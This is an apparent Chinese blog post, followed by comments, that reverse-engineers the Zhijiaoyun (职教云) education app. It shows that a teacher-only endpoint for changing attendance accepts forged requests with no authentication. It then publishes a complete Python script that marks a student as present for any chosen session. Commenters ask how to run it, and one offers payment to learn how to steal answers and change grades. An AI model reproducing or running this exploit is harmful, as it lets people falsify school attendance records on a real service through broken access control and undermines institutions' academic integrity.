最一开始,我只试着弄了个职教云签到监控。帮我签到,但是后来居然在一些地方看到各种逆天操作,然后发现全部都是教师权限才能的操作,然后我就对职教云补签进行了抓包分析(别问我教师账号怎么来的,注册即可)。
在用教师账户进行补签操作之后抓到这么一个包,怎么抓包的就说了,这个也不是重点,主要看思路。
这个包是我在职教云手机端抓到的,因为手机版比网页版更老实。
先来看下他的参数:
传递了一些cookie
data,equipmentAppVersion,equipmentModel,equipmentApiVersion
经过目测翻译,加分析值:
equipmentAppVersion:这玩意就是app版本号
equipmentModel:这个是我手机型号
equipmentApiVersion:这个大概估计就是api版本了吧。
然后就是那个最关键的data了,一般来说要传递的值都在data里面吧。
把它复制出来并且url解码之后是一串这样的
为了看得更清楚,给他挪个地方看看
咳咳,继续盲猜之旅。
目前的值有这些:
OpenClassId:这个似乎目测翻译一下就是,开放班级的ID
Id:这玩意就一个ID,是啥ID咱也不知道呀,放着看看
SignId:目测翻译一下,标志ID,估计就是代表这条活动的ID吧
StuId:目测翻译就是学生ID
SignResultType:标志结果类型,咳咳人工机翻,估计意思就是签到的目标状态
SourceType:来源类型?大概这样吧
schoolId:目测翻译就是学校ID
经过上面这一长短的目测翻译大概需要的一些值就是这样了。
现在先试着发一个包看下
结果是修改成功,说明可以自己伪造包然后修改签到状态
但问题是,我们没有老师的账号就没有老师cookie呀,那怎么可以实现那些逆天操作呢,我试着把传递的cookie删除,然后看下结果
然后发现居然也修改成功了,
既然cookie都不要了,那我干脆把手机型号,版本型号这些也删除试试,然后只保留一个data,结果。。。。
除了说职教云老实我还能说什么。到此我们就可以完成补签操作了。
对于上面那几个参数不再次分析了,懒,直接上代码
完整代码在GitHub:https://github.com/vastsa/ZhiJiaoYunQianDao
from configparser import ConfigParser import requests config = ConfigParser() config.read('config.info') try: stuid = config['information']['userid'] except: import get_cookie def get_kecheng(time): data = { 'stuId': stuid, 'faceDate': time } url = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/getStuFaceTeachList' html = requests.post(url=url, data=data).json() datalist = html['dataList'] courses = len(datalist) courseId = [] courseNmae = [] classSection = [] openClassId = [] for i in range(courses): courseNmae.append(datalist[i]['courseName']) courseId.append(datalist[i]['Id']) classSection.append(datalist[i]['classSection']) openClassId.append(datalist[i]['openClassId']) if courses != 0: print(f'课表如下:') js = 0 for i in range(courses): print(f'【{js}】第{classSection[i]}课:{courseNmae[i]}') js += 1 js = input("请输入你要补签的课堂:") return { 'courseId': courseId[int(js)], 'openClassId': openClassId[int(js)], 'courses': courses } else: print("同学,你今天无课,好好休息!") def buqian(course): url = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/newGetStuFaceActivityList' data = { 'activityId': course['courseId'], 'stuId': stuid, 'classState': '2', 'openClassId': course['openClassId'] } html = requests.post(url=url, data=data).json()['dataList'] buqianname = [] buqianid = [] for j in range(len(html)): datatype = html[j]['DataType'] if datatype == "签到": buqianname.append(html[j]['Title']) buqianid.append(html[j]['Id']) for i in range(len(buqianid)): print(f'【{i}】{buqianname[i]}') # print(f'【{i}】{buqianid[i]}') target = int(input("请输入要逆天改命的序号:")) datas = f'{{"OpenClassId":"{course["openClassId"]}","Id":"{stuid}","SignId":"{buqianid[target]}","StuId":"{stuid}","SignResultType":1,"SourceType":2,"schoolId":"3-3sabgooohfboflpnx6bq"}}' xdata = { 'data': f'{datas}' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'Host': 'zjyapp.icve.com.cn', 'Connection': 'Keep-Alive', 'Accept-Encoding': 'gzip', 'User-Agent': 'okhttp/3.10.0', } bqurl = 'https://zjyapp.icve.com.cn/newmobileapi/faceteach/changeSignType' html = requests.post(url=bqurl, headers=headers, data=xdata).json() if html['code'] == 1: print(html['msg']) print("逆天改命成功,返回菜单") menu() else: print(html['msg']) print("逆天改命失败,请联系Lan") def menu(): print("【欢迎使用职教云补签助手】") print(" By:Lan") date = input("请输入需要补签的日期如(2020-4-17):") course = get_kecheng(date) buqian(course) if __name__ == '__main__': menu()
表示下载完这些代码文件 不知道如何下手操作 方便的话加个微信:hhrs1157299175
有没有一些操作过程 [face_18]
需要关于什么的操作过程呢
我按照你的操作试了一遍,请求头的cookies删了就显示用户不存在了,又试了几遍,发现cookies必须要保存auth才可以成功,现在是不是这个修复了?(我在网页用fiddler抓的包,手机上不知道啥原因发不出去或者是数据异常)
抓包咋抓还有你这代码咋用
想学怎么抓答案和改分 大佬看到之后加个v z2091416557
有偿
这个啥软件啊我这小萌新完全看不懂